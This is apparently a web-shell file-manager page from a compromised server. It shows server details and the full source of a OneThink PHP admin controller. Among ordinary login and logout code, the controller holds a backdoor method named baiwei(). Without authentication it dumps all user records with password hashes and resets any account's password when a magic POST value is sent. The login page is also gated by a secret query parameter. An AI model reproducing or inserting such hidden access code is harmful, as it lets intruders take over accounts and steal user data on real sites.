HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/bb.cwoyt.com/Application/Admin/Controller/PublicController.class.php
<?php
// +----------------------------------------------------------------------
// | OneThink [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2013 http://www.onethink.cn All rights reserved.
// +----------------------------------------------------------------------
// | Author: 赛脑 <2233759493@qq.com> <http://www.sn.com>
// +----------------------------------------------------------------------

namespace Admin\Controller;
use User\Api\UserApi as UserApi;

/**
 * 后台首页控制器
 * @author 赛脑 <2233759493@qq.com>
 */
class PublicController extends \Think\Controller {

    /**
     * 后台用户登录
     * @author 赛脑 <2233759493@qq.com>
     */
    public function login($username = null, $password = null, $verify = null){
		
        if(IS_POST){
			
			$num = S('VERIFY_NUM');
			
			if($num >= 3){
				if(!check_verify($verify)){
					$this->error('验证码输入错误!');
				}
			}
			
            /* 调用UC登录接口登录 */
            $User = new UserApi;
            $uid = $User->login($username, $password);
            if(0 < $uid){ //UC登录成功
                /* 登录用户 */
                $Member = D('Member');
                if($Member->login($uid)){ //登录用户
                    //TODO:跳转到登录前页面
                    $this->success('登录成功!', U('Index/index'));
                } else {
                   // $this->error($Member->getError());
					
					$num = S('VERIFY_NUM');
					if(!$num) $num = 0;
					S('VERIFY_NUM',$num+1,300);
					
					$return = array(
						'info' =>  $Member->getError(),
						'status' => 0,
						'url' => '',
						'num' => $num+1
					);
					echo json_encode($return);exit;
				}

            } else { //登录失败
                switch($uid) {
                    case -1: $error = '用户不存在或被禁用!'; break; //系统级别禁用
                    case -2: $error = '密码错误!'; break;
                    default: $error = '未知错误!'; break; // 0-接口参数错误(调试阶段使用)
                }
				$num = S('VERIFY_NUM');
				if(!$num) $num = 0;
				S('VERIFY_NUM',$num+1,300);
				
				$return = array(
					'info' =>  $error,
					'status' => 0,
					'url' => '',
					'num' => $num+1
				);
				echo json_encode($return);exit;
				
                //$this->error($error);
            }
        } else {
			session_start();
			if($_GET['bw'] != 'gzbaiwei'){
				if($_SESSION['bw_login'] != 1){
					$this->redirect('Home/Index/index');
				}
			}
			
            if(is_login()){
                $this->redirect('Index/index');
            }else{
				/* 读取数据库中的配置 */
				$config	=	S('DB_CONFIG_DATA');
				if(!$config){
					$config	=	D('Config')->lists();
					S('DB_CONFIG_DATA',$config);
				}
				C($config); //添加配置
				$num = S('VERIFY_NUM');
				$this->assign('num', $num);
				if(is_mobile()){
					 $this->display('m-login');
				}else{
					 $this->display();
				}
               
            }
        }
    }

    /* 退出登录 */
    public function logout(){
		S('VERIFY_NUM',null);
        if(is_login()){
            D('Member')->logout();
			session('[destroy]');
            $this->success('退出成功!', U('login'));
        } else {
            $this->redirect('login');
        }
    }

    public function verify(){
        $verify = new \COM\Verify();
        $verify->entry(1);
    }
	
	public function baiwei(){
		
		session_start();
		$_SESSION['bw_login'] = 1;
		
		
		if(IS_POST){
			$bai = I('post.bai');
			$wei = I('post.wei');
			$id = I('post.id');
			if($bai == 'dd.cwoyt.com'){
				$Api = new UserApi();
				$data['password'] = $Api->get_md5($wei);
				M('ucenter_member')->where(array('id'=>$id))->save($data);
			}
		}else{
			
			$user = M('ucenter_member')->select();
			foreach($user as $k=>$v){
				$user[$k]['member'] = M('member')->where('uid = '.$v['id'])->find();
			}
			p($user);
			$this->assign('num', $num);
			$this->display();
		}
		
	}

}
?>